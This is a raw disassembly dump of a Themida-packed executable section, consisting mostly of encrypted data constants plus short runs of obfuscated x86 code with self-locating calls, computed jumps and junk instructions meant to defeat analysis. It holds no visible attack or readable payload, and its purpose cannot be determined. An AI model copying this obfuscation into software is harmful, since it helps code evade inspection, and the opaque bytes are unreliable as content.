dd 5EA95AA9h, 11B5B03Bh, 0DF99C91Ah, 6C19EAB3h, 16E7BC76h
dd 6EAC0AC4h, 0BADC0329h, 43D21B7h, 0E2F50000h, 3E926330h
dd 0E7DECF84h, 378D6035h, 0EDDDD085h, 260E5E33h, 0E0B56F63h
dd 4D02BC0Dh, 0DFB46660h, 4E03BD0Eh, 0E170FB4Eh, 741DDDB4h
dd 0AB5A2EDAh, 0BD67EDB6h, 0CADABAE0h, 84BF796h, 0E1C00D7Fh
dd 0A91C4505h, 6352FFB9h, 0BA47B670h, 83D2F1A3h, 0A2CB9749h
dd 3D5A97C3h, 634530F8h, 0B503BCE2h, 0B5AE35Ch, 9CAF1657h
dd 3D8EDBE2h, 67CBCE83h, 7923D01Fh, 0A61DD8F4h, 0E30762E7h
dd 0CC98180Ch, 0F74C88F5h, 0B847ED8Ch, 0E8BC6811h, 5F743DE9h
dd 0B8488314h, 1CD54411h, 0CD86E955h, 169F4AECh, 9D4CA3EFh
dd 4F0155A8h, 6B594003h, 2B9F839Eh, 83F28182h, 362C994Bh
dd 8A9557Ch, 0C8B0D5FFh, 0ABBED917h, 0DEF0F492h, 7521135Ch
dd 0F195B920h, 0A6607302h, 371FE05h, 9C11BDF0h, 0A6A0FB4Fh
dd 0FF53A0F4h, 0C4903E45h, 934580EDh, 2464F1BEh, 388E0593h
dd 3AA3D986h, 0E7000000h, 0C845375Eh, 37AC9317h, 0B6646B1Dh
dd 0D48B5EAh, 48E7345Bh, 4017C845h, 0E6DF964Fh, 388E5F34h
dd 94CA3786h, 0CD1AB9E2h, 17C844A7h, 0D98C25BCh, 2D7ED385h
dd 8FD08AC0h, 50025CDBh, 38EAE431h, 0F7B23199h, 6756083Eh
dd 6B12C41Ah, 0F483F0BFh, 6117C844h, 4AB9ECB5h, 0C3ECA6BBh
dd 0C8582D44h, 0CD524A17h, 0BEB883C6h, 0FFFFFF94h, 4D075C02h
dd 2AE4F746h, 0B6CE7475h, 0E3BE4C47h, 5D19F907h, 0B140AF14h
dd 46C1EA9Ch, 1DD926BCh, 0E193CB3Ah, 0C9C8B4C0h, 0B8FBD77Eh
dd 1C69F811h, 0C36F0EC0h, 9270099Ah, 0BE92FD0Ch, 46FDh
dd 0AB5A4500h, 7A05FCB6h, 17C844D7h, 0E4CD8E7Eh, 48B7067Eh
dd 0FB4EA9B9h, 7B4C1541h, 1DD8456Dh, 56A31A0Ah, 9D494802h
dd 0FF70BFD4h, 0B843E574h, 0DB847011h, 0B84449ECh, 1ED78611h
dd 93B8DE44h, 0C7CFBEh, 5C130000h, 0F5464D07h, 552601Ah
dd 7738C9ACh, 0FB823C8Eh, 0DCE39DAEh, 0CF843E8Dh, 0C9261CE0h
dd 620D5E17h, 17C91BCFh, 55BB9686h, 0C049B2CAh, 0C211F4BDh
dd 6D1A6F67h, 17C849CAh, 0C8C79B8Bh, 0AC19461Ah, 73D6FDB7h
dd 0BB48B7CFh, 1DD85CC5h, 7C5D32E2h, 0B43FAED6h, 17CAEE1Dh
dd 2016D28h, 0E15D759Eh, 9BAF3EB5h, 1141B4E1h, 544D6157h
dd 0FA79E213h, 1D662h, 87398E00h, 3BF5EBDAh, 8C3E9766h
dd 3CEEE6D7h, 8A449667h, 1C9F67D5h, 66570CC6h, 19ECB973h
dd 6F3E13C5h, 0EFEDA25Ch, 0B7800F5Ch, 7BD51DDDh, 4C065C8Fh
dd 0FBB5A617h, 55A655A6h, 0C84487AAh, 0D31ECE17h, 17C843C4h
dd 57094491h, 95D68A38h, 621A48D5h, 3D8DDC8Bh, 0DBEDDA83h
dd 9C1DD845h, 3C43F54Fh, 70BBC28Eh, 11B844DDh, 0F1A23BF2h
dd 0C9924C84h, 93B753D9h, 0C942BEh, 24DF0000h, 9BB3DDB8h
dd 593CEAE9h, 0B0A190D2h, 772BD7F6h, 505CFB88h, 0DF911B8h
dd 75C0664h, 1699764Dh, 0C9681372h, 8C17C8F1h, 3A62A5E0h
dd 0E332610Ah, 418E35EFh, 17C877F9h, 0C9965083h, 568CE7FCh
dd 733AF59Ch, 0CE15D434h, 12B1E5B1h, 4FB83AFh, 6E690873h
dd 0EC17C8h, 0C8E99BB3h, 80CAB03Bh, 31DD1DD8h, 0CD17D64h
dd 0C7731AD4h, 0D1D7249Bh, 0B617CB0Eh, 588AF7C6h, 7302F19Eh
dd 0FE07A85Ah, 829412CCh, 0C6E21334h, 0C92DC3h, 4E810000h
dd 0E2F6C79Ch, 538A7B28h, 0CB01F4A1h, 69794C19h, 0A292E2AFh
dd 6431EBDFh, 0D9864091h, 1340F2ECh, 0AAF7B1A2h, 2D4CB74Ah
dd 281DDDB8h, 65CDACEh, 0B5A6174Ch, 5CFCA6FBh, 7764D07h
dd 3D5617D1h, 7421DBF0h, 0C01CC16Dh, 0FBADA10Eh, 837A26D4h
dd 8F2EE0F6h, 0BE49BAE3h, 1DDDAABCh, 0EC81B6Ah, 9A9AC36Fh
dd 7794E3EAh, 9E900BCFh, 51E08B27h, 411B340h, 0A2234C18h
dd 5BAAF7B1h, 3140AB08h, 2411B340h, 5AA52C78h, 4CB68B25h
dd 7BCF1E6Dh, 5F73C2C1h, 24701EA5h, 16CD687Bh, 0F8B97367h
dd 4F04BE0Dh, 0CB36D5Eh, 0AED587BDh, 1ED79201h, 0CF1E732Dh
dd 7B2D217Ch, 3929D827h, 1FB5DE7Fh, 3, 5CBFEB63h, 0E3325103h
dd 4A9736F0h, 0E5B6214h, 338201BBh, 0F5E651Fh, 338201BBh
dd 19686719h, 1E6B12C4h, 9451702Ah, 81E68956h, 4C6h, 4EE8300h
dd 5C243487h, 53243C89h, 0C381E389h, 4, 8704EB83h, 895C241Ch
dd 8952241Ch, 4C281E2h, 81000000h, 4EAh, 24148700h, 2434895Ch
dd 1E5ABE56h, 0A0BB6A57h, 19BBE48h, 24348BF3h, 4C481h
dd 8B540000h, 0C4812434h, 4, 9D968h, 241C8900h, 0FF08468Fh
dd 815E2434h, 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFFBD5A4h
dd 0C1364C97h, 1574C9B8h, 0FFC50306h, 0C70974E0h, 9230255Ah
dd 0D2149C03h, 2DB03D0Dh, 8BED3D67h, 9384541Eh, 55F4416Ch
dd 0EF732F1Ch, 0C0D6B10h, 81FA6007h, 0CD431A71h, 0EF0F4805h
dd 0CB091848h, 0DA048524h, 8E75DD37h, 0EF1AAA4Ah, 134BBC02h
dd 0F1C12C46h, 614C7149h, 512DC155h, 9BAF737Ah, 9C13A16Dh
dd 0DCD5A938h, 364EDA01h, 0A31A9D2Bh, 9D50A018h, 271E072Bh
dd 0B0EE0048h, 0F03A0352h, 2AE976h, 0F2560000h, 57F0h
dd 9 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5A2F9F
; ---------------------------------------------------------------------------
db 34h, 92h, 4Fh
dd 6DA45CDBh, 8AC36AF1h, 67A447CEh, 81C064F3h, 31A3DFCDh
dd 0D8C407Fh, 189F1B5Ch, 0F4833772h, 0A7A2164Bh, 96CD6D5h
dd 2B886BD9h, 447932A1h, 0ED55542Ah, 96DCC7Ch, 374E502Dh
dd 0C6B34D95h, 0EB1675ACh, 1BC45307h, 0E49B3AE6h, 0F3967014h
dd 74178EB2h, 0BE74B37h, 0A61C0FF1h, 3E6DCCF5h, 271905E2h
dd 9BB0F194h, 0ED966820h, 8C68CCB8h, 259D8C72h, 0C16DCCF5h
dd 0E3968865h, 43FC25BCh, 671B9A0Eh, 0F5CF7336h, 4B276DCCh
dd 8F7FC81Eh, 0D5F1C773h, 0F12CE259h, 7687EEDFh, 140048D0h
dd 0A1B6F195h, 17D08BE5h, 9B4E05E2h, 423CA65Ah, 15D56D1Ch
dd 1C0F6DCCh, 6DCC15A6h, 2E2AE23Eh, 0C196D577h, 2CE243E2h
dd 0A01DFF1h, 6DCC15B8h, 73EB005Ch, 35F86489h, 0EBD77563h
dd 609E450Eh, 35EC4ED9h, 796FCFFCh, 0AA1813EDh, 4A6DCCCFh
dd 57FEF2CEh, 6DCCCFEEh, 0F6F39231h, 336A831Bh, 46FBh
dd 79325100h, 0BB095044h, 846DCC7Ch, 0A71B0EF0h, 3F6DCC7Ch
dd 9E3506E3h, 6B35925Bh, 17233h, 32D80000h, 0DD4F437Ah
dd 0B86CA95Eh, 6C149FBCh, 0A54A4135h, 0A201BC68h, 986A2203h
dd 68CCB8F1h, 0A249D08Ch, 0D75BF16Dh, 70245D04h, 4B95C7F4h
dd 8673DECAh, 0FE46EA71h, 36F61D5Dh, 564A26F6h, 0F83DE7E4h
dd 0BA9FDA90h, 5126A13Eh, 0F7ABE28Ah, 686201A2h, 0B82F9396h
dd 6BC76DCCh, 0E423C58Eh, 53AF168h, 9AD37A11h, 6F06BDE6h
dd 6A70578Ah, 683733h, 92490000h, 0FDC7A4D9h, 0B94996D7h
dd 0A882C012h, 256408D3h, 85DB224Bh, 1D0944EAh, 11223419h
dd 56753146h, 9F5B6DAFh, 0F4427004h, 0B5254C7h, 0CEF2A86Ah
dd 99388722h, 0F9B5F498h, 0E38FCE82h, 0E023FE4h, 52972E45h
dd 336B098Fh, 306Fh, 7E32DD00h, 8E34533Fh, 734C9F53h, 7EB355DCh
dd 0CC7C378Bh, 6F53CF6Dh, 7A322DBBh, 0BF084F43h, 806DCC7Ch
dd 6C45A03Fh, 4C336B35h, 1, 427B32BEh, 0C5FAB128h, 867855D1h
dd 6F23580Fh, 0EE37CE65h, 0FFECFE37h, 6C22DF3Dh, 0B70BFE49h
dd 4F6DCCD7h, 64DAEFD3h, 9E3F8FFh, 0FCADF922h, 96956B67h
dd 943CDD2Ch, 8B8F6CC8h, 5F134EF4h, 3933DF03h, 0E38FCE82h
dd 3AF16A7Fh, 19D24905h, 0DB6930E4h, 98943CDDh, 53EF9AC4h
dd 0B3943CDDh, 6201A2B7h, 73E71CC3h, 0F4063BE4h, 0FEB359F7h
dd 2DDC8492h, 943CC295h, 0FCD1F571h, 623B300Ah, 111DF1A8h
dd 2A93247h, 0DF84D9CDh, 0F52AE140h, 0FA2B8639h, 480B397Ah
dd 81000001h, 4C1EBD5Ch, 0FC266C5Dh, 0F29E7A67h, 43F72CD3h
dd 2AD60BB4h, 0D3BFF4ABh, 8C4EE576h, 0ADF18CDh, 0E9659A51h
dd 629F4417h, 0AA21A188h, 69C59423h, 60428B94h, 5222397Bh
dd 68000000h, 235E04D7h, 0D0C4FDA4h, 0D3E67754h, 0AF33F608h
dd 47EDCC7Ch, 0D27037EBh, 0FBEDCC7Ch, 528B42F9h, 500FA675h
dd 4D3C0ECDh, 6DCC7CD5h, 0E7B975F1h, 7D91D6E6h, 3D812AD6h
dd 0F8131E81h, 0ED5C7155h, 0C7h, 66A34813h, 0C5A29281h
dd 4E2B6F39h, 1EBD5C76h, 0A7324Ch, 94F5AECBh, 7267FC0Ch
dd 0B96DA65Bh, 93ED99BDh, 70E722C8h, 919581B8h, 1348FFBCh
dd 32672097h, 1AEAA118h, 691D3974h, 0E91D6E04h, 4A26773Ah
dd 3CFF712Dh, 0E4564A87h, 23CC9D25h, 0D9FD7994h, 0CDBC0704h
dd 0CB39423h, 0BEF3AC75h, 0BD1EB50Ah, 5E8DE8A3h, 6A639E16h
dd 48FFA0C2h, 9AF42613h, 0D512B574h, 72284521h, 0D48B0AF6h
dd 52E1F39Fh, 5E7D9CB3h, 4418CD8Ch, 0B5B1659Ch, 6C81E591h
dd 0AF816A94h, 9C6AB082h, 0DFDE7DEDh, 0B496A3FAh, 7BDFC374h
dd 0F00DE919h, 23955833h, 10EE1094h, 892A919h, 2AD14D80h
dd 80089298h, 0D7CBA07Ch, 0D749DF5Bh, 6F235E04h, 7087D6F3h
dd 26CA916Bh, 10EE12E7h, 4DF20EDBh, 6277B7E5h, 0F9FACEA9h
dd 0C9A5A667h, 15F692E9h, 32A9596Eh, 0D155417Ch, 0E18A01F5h
dd 2A930ACh, 1E427B32h, 8A42372h, 0F2972AC3h, 792D681Eh
dd 0AE2DD9FDh, 2C6D20FAh, 2ECD5C48h, 2D962997h, 0A3D88F96h
dd 0C2F7B027h, 0D714B7CEh, 6B0AB92Bh, 70EC21CAh, 141742E9h
dd 0C5C978AEh, 0E591CA7Fh, 0B1959181h, 0AD4C5h, 5DDC0000h
dd 0BDB96DAAh, 6D5F04A0h, 493D8032h, 0B0649952h, 463A7519h
dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h
dd 55417830h, 0E68956CFh, 4C681h, 0EE830000h, 24348704h
dd 2434895Ch, 7BB68h, 24348900h, 81E68956h, 4C6h, 4EE8100h
dd 87000000h, 895C2434h, 6852240Ch, 100F7351h, 0FFEA815Ah
dd 81FFFFFFh, 806A29C2h, 83C2812Fh, 89C68598h, 8B545AD6h
dd 0C483240Ch, 8BA5204h, 81000000h, 8067D5C2h, 81CA0167h
dd 8067D5EAh, 5A328967h, 592434FFh, 4C481h, 34FF0000h
dd 0C4815E24h, 4, 0FB053FE9h, 0F600F4FFh
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
mov dl, 0C6h
loc_5A2F9F: ; CODE XREF: Themida_:005A2A64j
mov eax, 6157AAAh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 8FBF45h, 783C2DC5h, 4095E981h, 1E4CBD7h, 30E086D8h
dd 72FA25E4h, 60A04F2Ah, 1A9999EEh, 12613B78h, 3288BF1Eh
dd 24513CEFh, 1BD59234h, 1E5B92C7h, 310C95BBh, 171F119Bh
dd 61433913h, 10150C9Eh, 2303566h, 3BCDEA41h, 0D4795C9h
dd 54C85AAEh, 25B045C6h, 5917FB4h, 75656ABFh, 5B78AABCh
dd 6D177E93h, 1158EDFFh, 2021EB3Dh, 30F8BE6Eh, 714B589Bh
dd 2804AE84h, 6513E5A0h, 7C988D8Dh, 9E80615h
db 3 dup(0)
byte_5A3033 db 44h ; DATA XREF: Themida_:0054B510o
dd 30C064A0h, 0F2C464D4h, 21799589h, 895B0610h, 1009F58Dh
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 83995E55h, 0D275D543h, 0A59D09h, 0B5890610h
dd 6101FB1h, 231985C7h, 5C600610h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 144334C3h
dd 29F122C4h, 0F186079h, 85C7D0B7h, 61022C1h, 0
; ---------------------------------------------------------------------------
mov [ebp+6101599h], edi
push dword ptr [ebp+61011EDh]
push 0
push ebx
call sub_5A30CB
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A30CB proc near ; CODE XREF: Themida_:005A30C3p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5A30CB endp
; ---------------------------------------------------------------------------
pop ss
pop ebx
setalc
xchg eax, ecx
fmul dword ptr [esi+3Ch]
and [edx-8], edx
call dword ptr [ebp+6102DB9h]
js loc_5A30FC
jmp loc_5A30FC
; ---------------------------------------------------------------------------
dw 2F8Dh
dd 12AA1367h
; ---------------------------------------------------------------------------
loc_5A30FC: ; CODE XREF: Themida_:005A30EBj
; Themida_:005A30F1j
push 0
call dword ptr [ebp+61031C9h]
mov eax, eax
jmp short loc_5A3170
; ---------------------------------------------------------------------------
dd 92983D99h, 8EA4E512h, 0A5B5B76Fh, 54F50C65h, 5C6842D9h
dd 1686C80Fh, 1C744598h, 26E73533h, 2FCC9421h, 0A95FD18Ch
dd 40A13838h, 0F9A80405h, 2AD04842h, 1865A9C2h, 4CBCCAF8h
dd 7B9F2425h, 28E81EAh, 48334170h, 0C358753Bh, 0CF70F089h
dd 5B9550E2h, 8FE8A2DCh, 2D71B35h, 0FD53499Fh, 8962C745h
dd 0CD1A7F11h
; ---------------------------------------------------------------------------
loc_5A3170: ; CODE XREF: Themida_:005A3106j
lea ebx, [ebp+6102335h]
mov eax, 2Ah
mov [ebp+6102799h], eax
call $+5
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_5A31BD
; ---------------------------------------------------------------------------
byte_5A3193 db 0 ; DATA XREF: Themida_:0054D7A0o
dd 9 dup(77E600h), 0FF77E600h
db 0FFh
; ---------------------------------------------------------------------------
loc_5A31BD: ; CODE XREF: Themida_:005A318Ej
jmp short loc_5A321F
; ---------------------------------------------------------------------------
align 10h
dd 17h dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5A321F: ; CODE XREF: Themida_:loc_5A31BDj
jmp loc_5A3E46
; ---------------------------------------------------------------------------
jmp loc_5A3E3F
; ---------------------------------------------------------------------------
push 61585E2h
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 615875Eh
jmp loc_5534D8
; ---------------------------------------------------------------------------
push 61587E3h
jmp loc_5534D8
; ---------------------------------------------------------------------------
db 56h
dd 3EBD71B4h, 5CDB4F86h, 69F06CA5h, 46D589C6h, 1E763A2h
dd 76B55785h, 519233C2h, 6DA85EDDh, 8CC16AF1h, 28E3DDD0h
dd 6BD9019Ah, 32971D7Ah, 0E1523E7Fh, 5C954C0Fh, 0D011B47Fh
dd 0DD5C825Ch, 2105F126h, 0CC7CC87Ah, 1B302C6Dh, 0BEB2E7A0h
dd 16E823C7h, 23B638D5h, 5D7AE7E2h, 590CCFA1h, 2FDB6722h
dd 0DF3B6DCCh, 36130F03h, 0C695CC7Dh, 332FE322h, 0CC2FFE44h
dd 361A166Dh, 1B0EF04Ah, 6DCC2FA7h, 4D06E33Fh, 31A85C9Bh
dd 0DA54407Fh, 8470AB5Fh, 5B10CBA0h, 0AE53721Eh, 0F468676Ch
dd 361A3246h, 0B4F39524h, 38F0E797h, 19A01501h, 0ED01A8C2h
dd 0D767F994h, 2F1B2896h, 8B604D00h, 9FC19B97h, 4F2C651Ch
dd 29A5DC84h, 5F053FDCh, 0DCF87C28h, 12A70702h, 35F9426h
dd 2DFD04E9h, 9A04C25Ah, 21CAC1BDh, 32DA70ECh, 0FD764479h
dd 1BC05CCFh, 5E04D78Dh, 0D6F36F23h, 2BF6CA60h, 0B366B22h
dd 2Bh, 1BC05C81h, 97D67A41h, 0D4D7EAC2h, 6DCC7C6Eh, 0D71CAA86h
dd 3E7F32A9h, 0FDA9E287h, 32C86479h, 4275437Ah, 31408Ah
dd 0D78C0000h, 7C4002A9h, 0C8A46DCCh, 15C652B3h, 6ED4D787h
dd 0A46DCC7Ch, 0F5D7EAB0h, 4002A9D7h, 6F6DCC7Ch, 9AD3B78Ch
dd 4ECAC247h, 0D30AC279h, 5C8A4245h, 5D4C1EBDh, 67FC1FC4h
dd 777486E2h, 34EEF469h, 671734D1h, 23968640h, 0F50B6594h
dd 23968C36h, 0EF0C6894h, 0DD30B54Ch, 0BD397B4Bh, 1ECh
dd 2ABF5C0Fh, 0CC7CC37Fh, 2B47236Dh, 6E3E2F51h, 5F5BE569h
dd 9733F00Dh, 6F6DCC0Bh, 49C00AEAh, 0BE70B7Dh, 0A61C0FF1h
dd 3E6DCC0Ah, 0FA4B59D9h, 0DF03D859h, 0C67D1C0Ah, 328F1D91h
dd 0AF2A4479h, 4A0BDFEh, 96D7CFFDh, 0BBC08F97h, 31D4A987h
dd 357036A5h, 9EDB904Bh, 4D703C9h, 534C2160h, 366B218Ah
dd 406Ah, 21C59400h, 5C3B11E6h, 0D78D1BC0h, 0CC7C6ED4h
dd 1CAA866Dh, 4D7A9D7h, 0F571255Ch, 0CC7CBC06h, 0FFDC586Dh
dd 437A3225h, 896D775h, 85B84FEFh, 2418D3A8h, 0CAB6F195h
dd 40BB9166h, 2Fh, 1BC05C8Ch, 97D67A41h, 782C6D20h, 0D745DFFCh
dd 0CC7C6ED4h, 0EAB0A46Dh, 0A9D7F5D7h, 0CC7C4002h, 0B3C8A46Dh
dd 37498028h, 0A6C3FEA4h, 5C8A421Eh, 5B4E20BFh, 6DCC7CF3h
dd 64630F0Bh, 34D286BBh, 2A447932h, 7CED5554h, 24096DCCh
dd 21A7B5ACh, 46233FEEh, 0D7CFFD7Eh, 7C4002A9h, 0C8A46DCCh
dd 1FC652B3h, 0CC7CD66Ch, 73322E6Dh, 0EAB094CFh, 4E1D96D7h
dd 0C2E06249h, 28046DCCh, 0E6A5643h, 0F6E78539h, 366B222Bh
dd 6B0Bh, 0C05C8100h, 6C1F411Bh, 6DCC7CD6h, 8F15322Eh
dd 4002A9D7h, 0A46DCC7Ch, 0B3CDB3C8h, 2D4A7F28h, 0CC7CCC76h
dd 7E4C286Dh, 78C4A9D7h, 0CEC4E388h, 32E5BF9Ch, 2B03A87Ah
dd 0EA463A79h, 9F161A06h, 694B0EBh, 0C67B3E42h, 0C09D998Dh
dd 32A9D7E4h, 0E959407Dh, 0D6DCC7Ch, 538D3C11h, 0B3000000h
dd 0F7AC8228h, 866AC6BAh, 0EBC1969Ah, 8D1BC05Ch, 255C04D7h
dd 7CB15A71h, 0AB057358h, 0CC749452h, 60E2C9AFh, 0A26DCC9Ah
dd 0A9D7E4B2h, 50447932h, 7C9D25D4h, 0FD796DCCh, 3232F8E0h
dd 0C801A87Ah, 30E158DCh, 431F03EFh, 0C2FBB229h, 0AF7552CEh
dd 5408A42h, 8C000001h, 4E20BF5Ch, 0E75B4E30h, 0FF6DCC7Ch
dd 0FD5D4623h, 0E76DCC7Ch, 731EECE6h, 2EDF4EE2h, 193D39EDh
dd 0A2473E44h, 0DD0AB873h, 6EEA6DCCh, 3826E52h, 0C9B3275Ch
dd 6E225B12h, 0E3E0C5F2h, 9528CF7Bh, 0A9D7ECB8h, 0CC7C4002h
dd 0B3C8A46Dh, 7C4A7F28h, 0C05CCFFDh, 688CCD80h, 1C16896h
dd 0E56DCC7Ch, 35D87489h, 222BF697h, 3B0B366Bh, 81000000h
dd 411BC05Ch, 0BA3E0F0Ch, 0CAEEDB12h, 9CAD9A4Eh, 5F0FB78Ah
dd 0D794304Dh, 0CC7C6ED4h, 1CAA866Dh, 7A32F5D7h, 96D77543h
dd 90376B20h, 54933586h, 58F05B70h, 5B40h, 0C05C8C00h
dd 0D67A411Bh, 0D7EAC297h, 7C4002A9h, 2DA46DCCh, 0D0544077h
dd 7EF1C7F4h, 8B6ED966h, 239F8A6Eh, 0A16DCCBDh, 0BD76CCBFh
dd 9C8E6DCCh, 0CCBD55EDh, 91B5B16Dh, 0AA70E4BCh, 4002A9D7h
dd 0A46DCC7Ch, 235C11C8h, 2D6F36Fh, 0D796D728h, 4A9680FFh
dd 863EF5D2h, 8A42C94Fh, 0F53B7932h, 3262E2h, 0E05A462Ah
dd 2D162EEBh, 0EB00B85Ch, 0CB7FBA70h, 22C3934Ch, 70EB05E1h
dd 8F937FBAh, 279DCCBAh, 0F86DCC9Eh, 1661A4Fh, 1C50290Fh
dd 0DE91485Fh, 50E3F5A1h, 0AA590BB1h, 4C812A0Bh, 2D620990h
dd 90340779h, 0F512B05Bh, 76F26DCCh, 0ADCAA65Ah, 4EF57F09h
dd 80B56EB7h, 7B6077CCh, 9639AA61h, 81DD67FCh, 1A78C695h
dd 0E89B943Ch, 0D061AC49h, 3941397Ah, 8B000000h, 50447932h
dd 0CC7CB909h, 0B6EF966Dh, 0DF14CBCAh, 0D2782F33h, 0DAEEB97h
dd 0E9984A76h, 28C9904Ah, 775B964Ch, 9D2A78Bh, 0A1DC9262h
dd 0ACC2ABC5h, 0E15EABADh, 0DF6DF106h, 50447932h, 75875463h
dd 0F9F9F4B6h, 0BA949067h, 0FE5DE5A4h, 0BDB99426h, 2AC916A0h
dd 77EC9FB1h, 8F9E169Dh, 0E4A7B993h, 9E16235Eh, 0E19DBAB6h
dd 16230CBAh, 3DD4EF9Eh, 7EC4C799h, 969E1623h, 235DE5A4h
dd 0BDB99E16h, 0F2BBC499h, 0D23F90D6h, 28h, 20BF5C38h
dd 7CF75B4Eh, 130F6DCCh, 92CB8239h, 984F93B8h, 0BBEEAB0Ch
dd 0CC7472D0h, 0BA96926Dh, 12B0199Dh, 1C000000h, 4E20BF5Ch
dd 0CC7CF35Bh, 3D0F0B6Dh, 1A8EC77Eh, 1B4408Ch, 1E400000h
dd 0CC7CD76Bh, 16332F6Dh, 26C35C8Eh, 0CC7CDF63h, 6332376Dh
dd 0B96DF43Ch, 25F3CFF3h, 7932CFFDh, 96D77644h, 7C2F889Ah
dd 958B1A3Fh, 75B056D5h, 0EC8A581h, 6004D778h, 0F1A5E086h
dd 0C1A55175h, 222AF3ACh, 390A366Bh, 80000000h, 8E1CC35Ch
dd 7C6ED4D7h, 0B4866DCCh, 0CC7C4DF5h, 7F32A96Dh, 783E223Eh
dd 7B32F5D7h, 8A427442h, 8A5C04D7h, 7BF7ABE2h, 3C868557h
dd 0D86DCC7Ch, 30C27F5Ch, 3A000000h, 8E1CC35Ch, 7F32A9D7h
dd 0C082293Eh, 426DCC7Ch, 0F5D78412h, 28427B32h, 0DCCFFAB1h
dd 6DCC7C66h, 0ACBEA27Eh, 0CC7C45FDh, 0A8C5A16Dh, 328A421Ch
dd 0FD764479h, 80C05CCFh, 9D998DCCh, 772B6A1Eh, 3551D7FBh
dd 222BF697h, 440B366Bh, 81000000h, 8D1BC05Ch, 0D08E96D7h
dd 67548F33h, 18D095FDh, 153135E1h, 7B3E2038h, 0B66D8AC9h
dd 6DCC8C0Ch, 0D7BE8CE8h, 437A32F5h, 7B3E4275h, 0D66E8BC8h
dd 6B40h, 0D7794000h, 7C5BE7A2h, 5FBB6DCCh, 5CDE6683h
dd 1F411BC0h, 510D0A2Eh, 0D7BE7DA2h, 6DCCF36Bh, 0F2BA8F8Bh
dd 7C6ED4D7h, 7A646DCCh, 0D9CD0EBFh, 7C14AE5Dh, 74F06DCCh
dd 0BB95C157h, 7C5CE6A5h, 21B86DCCh, 0E044306Fh, 0D75DE704h
dd 6296D7F5h, 2F77F988h, 5175B056h, 0D209BF7Ch, 9F23E6F8h
dd 0B06DCC1Bh, 4ECAC2F7h, 8A42B379h, 235E04D7h, 5DD6F36Fh
dd 631F65A9h, 55030738h, 69D68571h, 0BE6DCC18h, 447B3109h
dd 0AE557420h, 0DD9E8D79h, 51B47146h, 965AC6A7h, 0ED8413BAh
dd 89639E44h, 0DE7E8164h, 68855CE3h, 7C3258EEh, 90365541h
dd 0D7ECA155h, 1A55F938h, 61EE79Eh, 7D316DCCh, 0CE1A1542h
dd 7D05EB45h, 0C24AA659h, 2E2C336Bh, 9EFFFFFEh, 0CC7C4402h
dd 7C9DA96Dh, 84576DCCh, 0D8C1A6DBh, 33D57BB8h, 0EB56E8Bh
dd 0F1923302h, 92330255h, 33020CBAh, 255F192h, 5145233h
dd 26FB2DCDh, 698D89DBh, 0D44E9497h, 8AE65804h, 518A2996h
dd 36DA617Fh, 0AC29E2F7h, 6A5E10BAh, 66EF49EEh, 9581803Bh
dd 32204h, 5B9E5000h, 79B058DFh, 568F36C5h, 73B053E2h
dd 4D8C40B7h, 0FD6F9B91h, 0C9500C4Bh, 0E473E728h, 0D047033Eh
dd 8366E217h, 0F9309279h, 0D7D46BD9h, 4479324Dh, 87546350h
dd 0F9F0B675h, 9A8C67F9h, 26FE53EFh, 9BB7B394h, 0FEDE681Fh
dd 7A999426h, 16CC8F61h, 0A24E8B40h, 0B3C5A2BEh, 137B1AF8h
dd 4C1EFA9Eh, 0E55D4C32h, 19E1978h, 78CC7625h, 4C289E19h
dd 0D992492Fh, 0F5B4CAA4h, 9E19784Dh, 26B0CDA9h, 0DECDF8AFh
dd 9E197864h, 24DC13B9h, 0D5C1F6ADh, 47487551h, 0AB3B0C5Eh
dd 0A514521h, 9E19B1A4h, 0D5A734C3h, 0A37B30ABh, 0CEABC7FCh
dd 2C3499D5h, 6EED1394h, 348E7DB8h, 0D0800C33h, 0A7837754h
dd 285D06D5h, 0F5B4CAB4h, 800C334Dh, 5BF00074h, 0DB93C7CDh
dd 3AF16A7Fh, 2E1F1105h, 6B82FED9h, 30DBF50Eh, 800CFD92h
dd 84E1F672h, 95946675h, 8A3978D5h, 0B401F571h, 0BAA4B625h
dd 351249FFh, 52FA584Eh, 0D2774280h, 62BEC499h, 41E37688h
dd 35120E02h, 1C90C57Eh, 96D57742h, 0EA7186EAh, 26180C41h
dd 0A3ABB825h, 0A0CDC597h, 917BE9D8h, 902D7ABh, 8C593ABDh
dd 0ACBE1DBCh, 6CEBB9FDh, 38F34586h, 0B6B3E88Ah, 1ED2EE6Ah
dd 0E8A342D1h, 0B6B3E85Ah, 68825EBAh, 8392B4C1h, 3E3B30BCh
dd 9AD98BB3h, 8D5D8AE6h, 8FACF78h, 1D87BF2Ch, 9D896688h
dd 1A60Ch, 0EF32D400h, 0CD04BC3Bh, 0AAE38A11h, 0C704A72Eh
dd 0A1E08413h, 91C33F2Dh, 0AD2CA0DFh, 78FFBBFCh, 942397D2h
dd 702B6EBh, 0FBCC7635h, 0CB286BD9h, 6004D701h, 0B2567521h
dd 0EB7A4F73h, 2A8906CCh, 0BDF6A3D2h, 4EF4C799h, 0B69ACF78h
dd 6F9166CAh, 346C5C91h, 15E647E7h, 0AF0B4B38h, 0CA9167F9h
dd 363AE627h, 11056121h, 0B4C615A4h, 16CB28F5h, 7115A49Eh
dd 11E64A36h, 0A4A81511h, 8A403D37h, 121099Ah, 9F4F0000h
dd 0B359E05Ch, 9439C07Ch, 0B358DF5Bh, 9133C276h, 94F0D652h
dd 0C783C266h, 0E05C9D50h, 0BE7AB559h, 0DF5B9037h, 0A91910ECh
dd 4D6BD9FBh, 0BD5CC450h, 115D4C1Eh, 0AD67F9F9h, 0CAD595A8h
dd 96C32899h, 0C2CC8E93h, 0D6CAA6F8h, 57D308BFh, 0FEF227E0h
